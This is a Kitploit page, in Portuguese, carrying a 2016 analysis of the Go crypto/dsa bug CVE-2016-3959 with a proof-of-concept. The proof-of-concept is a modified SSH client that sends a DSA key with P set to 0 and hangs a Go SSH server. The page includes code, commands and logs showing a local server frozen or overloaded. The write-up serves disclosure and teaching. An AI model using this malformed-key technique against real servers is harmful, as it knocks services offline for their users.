Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
dsa — Análise do CVE-2016-3959 e um Ataque de Prova de Conceito contra um Servidor SSH em Go. | Kitploit
Ferramentas/GitHubGitHub/alexmullins/dsa
Análise de VulnerabilidadesExploraçãoCriptografiaTestes de PenetraçãoAprendizado e Educação
GitHubalexmullins/dsa

dsa

Análise do CVE-2016-3959 e um Ataque de Prova de Conceito contra um Servidor SSH em Go.

Ver Repositório
112há 10 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Um Resumo da Vulnerabilidade crypto/dsa do Go (CVE-2016-3959)

Alex Mullins

9 de abril de 2016


Introdução

Recentemente, foi descoberto um bug na biblioteca de criptografia do Algoritmo de Assinatura Digital (DSA) para a linguagem de programação Go. Neste artigo, abordaremos os detalhes do bug e como um atacante poderia explorá-lo para iniciar um ataque de negação de serviço contra um servidor SSH Go padrão que usa a biblioteca DSA subjacente para autenticar clientes.

A primeira menção desta vulnerabilidade apareceu em uma postagem na lista de discussão Open Source Security (oss-sec) em http://seclists.org/oss-sec/2016/q2/11.

Go tem um loop infinito em várias rotinas de inteiros grandes que torna os programas Go vulneráveis a ataques remotos de negação de serviço. Programas que usam autenticação de cliente HTTPS ou as bibliotecas do servidor ssh do Go estão ambos expostos a esta vulnerabilidade. Isto está sendo tratado no seguinte CL: https://golang.org/cl/21533

-- Jason Buberel

Em resumo, se esta vulnerabilidade fosse explorada, poderia levar a um loop infinito no código subjacente da biblioteca BigNum. Isso consumirá recursos do sistema em termos de CPU e memória e poderia eventualmente fazer com que o programa ou o próprio sistema se tornasse não responsivo.

A declaração acima diz que SSH juntamente com a autenticação de cliente HTTPS são afetados, mas depois de olhar para os pacotes crypto/tls e net/http do Go, isso parece estar incorreto. A autenticação de cliente HTTPS pode usar esquemas de assinatura RSA ou ECDSA, mas não DSA. Veja abaixo. Se eu estiver errado sobre isso, por favor me avise.

https://golang.org/pkg/crypto/tls/#Certificate

root@kitploit:~
type Certificate struct {
        Certificate [][]byte
        // PrivateKey contains the private key corresponding to the public key
        // in Leaf. For a server, this must implement crypto.Signer and/or
        // crypto.Decrypter, with an RSA or ECDSA PublicKey. For a client
        // (performing client authentication), this must be a crypto.Signer
        // with an RSA or ECDSA PublicKey.
        PrivateKey crypto.PrivateKey

        ... other fields
}

Não muito tempo depois que essa postagem apareceu na lista de discussão oss-sec, um número CVE foi emitido: CVE-2016-3959. Os mantenedores do Go têm uma correção pronta para isso e aparecerá nas versões 1.5.4 e 1.6.1 que serão lançadas na quarta-feira, 13 de abril de 2016; https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g.

Para acompanhar os exemplos de código neste artigo, você precisará da versão Go 1.6 instalada. Siga as instruções em https://golang.org/doc/install. Se você quiser baixar este documento e os exemplos de código, precisará do Git instalado também. Siga as instruções em https://git-scm.com/book/en/v2/Getting-Started-Installing-Git. Para clonar o repositório, execute o seguinte comando em um terminal:

root@kitploit:~
$ go get github.com/alexmullins/dsa

Isso irá clonar o repositório no seu workspace Go.

A próxima seção cobrirá os detalhes da vulnerabilidade.

A Falha

Então, o que exatamente está errado? Para responder a isso, é preciso voltar ao anúncio original na lista de discussão oss-sec. Não há muita informação lá além de uma explicação geral do problema e um link para a correção do código em https://golang.org/cl/21533. A mensagem de commit para essa alteração contém o seguinte:

crypto/dsa: eliminar PublicKey inválida precocemente

Para PublicKey.P == 0, Verify falhará. Nem tente.

--- Robert Griesemer

e o código corrigido:

https://github.com/golang/go/blob/master/src/crypto/dsa/dsa.go#L247

root@kitploit:~
// Verify verifies the signature in r, s of hash using the public key, pub. It
// reports whether the signature is valid.
//
// Note that FIPS 186-3 section 4.6 specifies that the hash should be truncated
// to the byte-length of the subgroup. This function does not perform that
// truncation itself.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
    // FIPS 186-3, section 4.7

    // Code fix added to check if the key parameters are sensible.
    if pub.P.Sign() == 0 {
        return false
    }

    if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
        return false
    }
    if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
        return false
    }

    w := new(big.Int).ModInverse(s, pub.Q)

    n := pub.Q.BitLen()
    if n&7 != 0 {
        return false
    }
    z := new(big.Int).SetBytes(hash)

    u1 := new(big.Int).Mul(z, w)
    u1.Mod(u1, pub.Q)
    u2 := w.Mul(r, w)
    u2.Mod(u2, pub.Q)
    v := u1.Exp(pub.G, u1, pub.P)
    u2.Exp(pub.Y, u2, pub.P)
    v.Mul(v, u2)
    v.Mod(v, pub.P)
    v.Mod(v, pub.Q)

    return v.Cmp(r) == 0
}

Para resumir a mensagem de commit e a correção de código acima: no Go 1.6 e versões anteriores, há um bug na função Verify do pacote crypto/dsa. Se alguém chamar Verify com o parâmetro de chave pública P definido como 0, isso causará um loop infinito em uma das declarações mais adiante na função Verify.

Uma breve pausa para explicar o DSA. DSA é um algoritmo de assinatura digital que usa criptografia assimétrica para assinar uma mensagem que posteriormente pode ser usada para garantir que a mensagem foi de fato enviada pelo remetente/detentor da chave privada. Um exemplo simples: Alice envia uma mensagem para Bob dizendo onde e quando eles devem se encontrar para o almoço. Bob, no entanto, quer ter certeza de que Alice é realmente quem lhe enviou a mensagem e não outra pessoa. Para que isso funcione, Alice assinará a mensagem com sua chave privada e Bob poderá verificar a assinatura de Alice com a chave pública que ele conhece. Ninguém além do detentor da chave privada pode assinar uma mensagem que possa então ser verificada pela chave pública correspondente (essa é a ideia, pelo menos).

Para funcionar, o DSA precisa de 5 números grandes. Os primeiros 3 números são conhecidos como parâmetros DSA P, Q e G. Estes definem o grupo subjacente e o gerador do grupo. Esses números podem ser criados adequadamente com uma chamada a dsa.GenerateParameters().

root@kitploit:~
type Parameters struct {
        P, Q, G *big.Int
}

Os dois últimos números necessários para o DSA são a chave privada X e a chave pública correspondente Y. Esses números também podem ser criados com uma chamada a dsa.GenerateKey().

root@kitploit:~
type PrivateKey struct {
        PublicKey
        X *big.Int
}

type PublicKey struct {
        Parameters
        Y *big.Int
}

Isso é tudo que você precisa saber sobre DSA para acompanhar. Para mais informações, veja o padrão NIST: http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf ou a página da wikipedia: https://en.wikipedia.org/wiki/Digital_Signature_Algorithm.

Voltando ao tópico; onde está o loop infinito na função Verify? Com um pouco mais de investigação, você descobrirá que o código trava em:

root@kitploit:~
v := u1.Exp(pub.G, u1, pub.P)

Este é o comentário para o método Exp():

root@kitploit:~
// Exp sets z = x**y mod |m| (i.e. the sign of m is ignored), and returns z.
// If y <= 0, the result is 1 mod |m|; if m == nil or m == 0, z = x**y.
// See Knuth, volume 2, section 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {

A partir do acima, você pode ver que o comentário especifica que quando m == 0, ele irá exponenciar sem redução modular. Quando você pega um número grande e o exponencia com outro número grande, o resultado também será um número REALMENTE GRANDE. Não estou muito familiarizado com como math/big funciona, mas acho que é isso que está acontecendo aqui. Exp() está processando esta exponenciação que levará um tempo muito, muito longo para ser concluída (pode muito bem ser infinito).

Aqui estão alguns números de exemplo sendo usados em uma chamada dsa.Verify() para Exp() coletados do código de teste abaixo:

root@kitploit:~
x = 87134495734400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 digits)

y = 751336012463178371212581620103057049388105279629 (48 digits)

z = x ^ y

Usando o Wolfram Alpha, pode-se ter uma ideia de quão grande é este número z. Existem "113406800566837208055789635448879116719378036793444 or 1.13407x10^50 decimal digits" no número z resultante. (nota: só pude usar os primeiros 150 dígitos de x elevado a y na caixa de entrada web do Wolfram Alpha, então o número real de dígitos é ainda maior!) Para dar uma ideia da escala: os cientistas estimam o número de átomos no universo perto de 10^78 a 10^82 http://www.universetoday.com/36302/atoms-in-the-universe/.

Exemplo de teste de assinatura/verificação DSA:

root@kitploit:~
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
    // Create the DSA parameters
    params := dsa.Parameters{}
    err := dsa.GenerateParameters(&params, rand.Reader, dsa.L1024N160)
    if err != nil {
        t.Fatalf("failed to generate dsa parameters: %v", err)
    }

    // Create the DSA private/public keys
    priv := new(dsa.PrivateKey)
    priv.Parameters = params
    err = dsa.GenerateKey(priv, rand.Reader)
    if err != nil {
        t.Fatalf("failed to generate dsa keys: %v", err)
    }
    return priv
}

func TestDSASignature(t *testing.T) {
    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test
PASS
ok      github.com/alexmullins/dsa    0.224s

Exemplo de teste definindo P como 0:

root@kitploit:~
func TestDSAPanic(t *testing.T) {
    flag.Parse()
    if !*fail {
        t.Skip()
    }

    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    // Set P = 0
    priv.P = new(big.Int).SetInt64(0)

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test -fail

Observe que esta última chamada de teste irá travar.

Exploração

Como alguém pode explorar isso? Se um atacante conseguir de alguma forma fazer um servidor aceitar e usar uma chave DSA malformada para verificar uma assinatura, ele/ela pode influenciar o servidor a ficar preso processando um grande problema de exponenciação, causando assim uma negação de serviço (DOS). Como o SSH usa DSA como um esquema de assinatura em seu protocolo de autenticação de cliente, este parece ser um candidato perfeito para tentar este exploit. Vamos imaginar um cenário em que isso poderia acontecer.

Um pequeno provedor de hospedagem Git permite que seus usuários autentiquem com chaves SSH em seu serviço e seu servidor SSH é codificado em Go. Para derrubar este serviço, um atacante poderia criar inúmeras contas falsas e enviar chaves DSA malformadas para uso na autenticação SSH. Todas essas chaves terão seu parâmetro P definido como 0. Um atacante poderia então iniciar centenas dessas conexões de cliente SSH ao servidor, fazendo com que os recursos do sistema sejam bloqueados, levando a um DOS eficaz.

Vamos testar esse cenário.

O Servidor

O servidor é um servidor SSH simples que aceita requisições de sessão e imprime a hora atual na conexão. Agradecimentos a github.com/jpillora por fornecer este código de servidor de exemplo em https://gist.github.com/jpillora/b480fde82bff51a06238. Foram feitos alguns ajustes no código para permitir Autenticação por Chave Pública em vez de callbacks de senha.

root@kitploit:~
config := &ssh.ServerConfig{
    // Accept all authentication requests
    PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
        return nil, nil
    },
}

Isso aceitará todas as requisições de autenticação por chave pública. Imagine um serviço real consultando um banco de dados para determinar se um determinado usuário tem esta chave pública registrada em sua conta. O servidor parece um servidor Go muito normal que começa a ouvir em uma porta e aceita conexões recebidas.

root@kitploit:~
// Once a ServerConfig has been configured, connections can be accepted.
listener, err := net.Listen("tcp", *addr)
if err != nil {
    log.Fatalf("Failed to listen on %s: %s", *addr, err)
}

// Accept all connections
log.Println("Listening on", *addr)
for {
    tcpConn, err := listener.Accept()
    if err != nil {
        log.Printf("Failed to accept incoming connection (%s)", err)
        return
    }
    log.Printf("Accepted an incoming TCP connection from %s", tcpConn.RemoteAddr())
    if *p {
        go makeSSHConn(tcpConn, config)
    } else {
        makeSSHConn(tcpConn, config)
    }

}

func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
    // Before use, a handshake must be performed on the incoming net.Conn.
    sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
    if err != nil {
        log.Printf("Failed to handshake (%s)", err)
        return
    }

    log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
    // Discard all global out-of-band Requests
    go ssh.DiscardRequests(reqs)
    // Accept all channels
    go handleChannels(chans)
}

Uma coisa a notar é a verificação if *p. Isso corresponde à flag -p e controla se o servidor realiza o handshake SSH na goroutine principal ou em uma goroutine em segundo plano. Muitos exemplos online usam o primeiro. A flag -p mostrará a diferença que uma operação bloqueante pode ter no desempenho de um servidor em rede na seção de ataque mais tarde.

O Cliente

O código do cliente é um pouco mais envolvido. Ele precisa de modificações no código da biblioteca SSH do Go para permitir o envio de uma chave DSA malformada. A biblioteca SSH foi incluída (vendored) no pacote do cliente. Note que o código do servidor está 100% inalterado e importa o pacote golang.org/x/crypto/ssh normal do workspace.

O cliente funciona em dois modos separados controlados por uma flag de linha de comando chamada -attack. Quando o cliente é iniciado normalmente, ele fará uma conexão SSH regular com o servidor e começará a ler a hora do servidor a cada poucos segundos. Mas quando a flag -attack está presente, o cliente enviará uma requisição de autenticação ao servidor com uma chave pública DSA malformada. Partes relevantes do código:

root@kitploit:~
func init() {
    flag.Parse()
    if *attack {
        ssh.Attack = true
    }
    if *key == "" {
        log.Fatalln("must provide a auth key.")
    }
}

Observe que uma nova variável ssh.Attack foi criada no pacote SSH incluído e é definida como true quando a flag -attack está presente. ssh.Attack altera o código de marshalling da chave pública DSA do pacote SSH para substituir o parâmetro P por 0. Você pode encontrar ambas as alterações nos arquivos attack.go e keys.go no pacote SSH incluído.

root@kitploit:~
// attack.go
var (
    // Attack should be set to true to send a malformed DSA key.
    Attack = false
)

// keys.go
func (k *dsaPublicKey) Marshal() []byte {
    x := k.P
    if Attack {
        x = big.NewInt(0)
    }
    w := struct {
        Name       string
        P, Q, G, Y *big.Int
    }{
        k.Type(),
        x,
        k.Q,
        k.G,
        k.Y,
    }

    return Marshal(&w)
}

O Ataque

O ataque tem impacto diferente dependendo se o servidor é iniciado com a flag -p.

Para construir o servidor, cd para o diretório do servidor e execute: go build -o server . Faça o mesmo para o cliente: go build -o client . Existem chaves RSA e DSA de teste nos diretórios data do servidor e do cliente. Se você quiser criar novas, use ssh-keygen.

Servidor – Goroutine Principal

Se o servidor foi iniciado sem a flag -p, então um único cliente atacante pode congelar completamente o servidor e nenhuma nova conexão pode ser aceita. Isso ocorre porque a chamada a ssh.NewServerConn() é executada na goroutine principal e fica presa na chamada a dsa.Verify() para autenticação do cliente, bloqueando futuras chamadas listener.Accept(). Ao escrever servidores em rede, é importante manter o loop de aceitação responsivo e empurrar quaisquer operações bloqueantes para uma goroutine em segundo plano.

Inicie o servidor normalmente com:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Listening on localhost:8022

Em outro terminal, inicie um cliente normalmente que enviará uma chave DSA correta ao servidor para autenticação:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 connected
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016

Volte para o servidor e veja que ele aceitou a conexão TCP e criou uma conexão SSH:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)

Agora é hora de iniciar um cliente atacante em outro terminal. Isso enviará a mesma chave DSA que um cliente normal envia, MAS terá o parâmetro P definido como 0:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

Observe que o cliente simplesmente trava sem uma mensagem 'connected' e não há logs da hora do servidor. O servidor também não registrou a criação de uma conexão SSH, mas aceitou a conexão TCP. O servidor agora está preso na chamada a dsa.Verify():

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Accepted an incoming TCP connection from 127.0.0.1:63521

Tente conectar outro cliente normal; ele agora está impedido de conectar também:

root@kitploit:~
$ ./client -key=./data/id_dsa

O cliente original ainda é capaz de receber respostas do servidor, no entanto.

Servidor – Goroutine em Segundo Plano

Se o servidor foi iniciado com a flag -p, então ele ainda pode aceitar conexões de clientes normais porque as conexões SSH do atacante estão sendo ocupadas em goroutines em segundo plano, em vez de bloquear o loop de aceitação na goroutine principal. Isso não leva a um DOS imediato, mas consumirá continuamente os recursos de CPU e memória do servidor, levando a uma morte lenta.

Vamos iniciar o servidor novamente, mas desta vez com a flag -p:

root@kitploit:~
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Listening on localhost:8022

Agora inicie um cliente atacante como antes:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

Observe que o servidor não registrou a criação da conexão SSH novamente, mas vamos tentar conectar um cliente regular:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 connected
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016

Ei, ele conecta! Mas tudo o que um atacante precisaria fazer é iniciar mais algumas conexões de cliente maliciosas e o uso de CPU e RAM do servidor disparará. Com 4 clientes atacantes, consegui obter ~400% de CPU e 1GB de uso de RAM antes de parar devido ao meu laptop estar esquentando um pouco. Em condições normais com apenas 2 clientes normais conectados ao servidor, minha CPU estava em torno de 0,2% e o uso de RAM era de 5-6MB. Uma grande diferença.

Conclusão

Em conclusão, esta vulnerabilidade pode ser explorada para causar negação de serviço. Usando o cenário acima, a calculadora de pontuação CVE https://nvd.nist.gov/CVSS/v2-calculator deu uma pontuação de 3,5/10. Não há impactos de confidencialidade ou integridade, apenas um impacto parcial/complete de disponibilidade.

Olhando no godoc.org, atualmente existem 164 pacotes que importam crypto/dsa, https://godoc.org/crypto/dsa?importers. Recomenda-se atualizar para a versão de segurança que está em https://golang.org/dl/.

No geral, foi uma experiência de aprendizado divertida. Se houver algum erro ou melhoria que possa ser feita, por favor me avise. Obrigado por ler.

Baixar ferramenta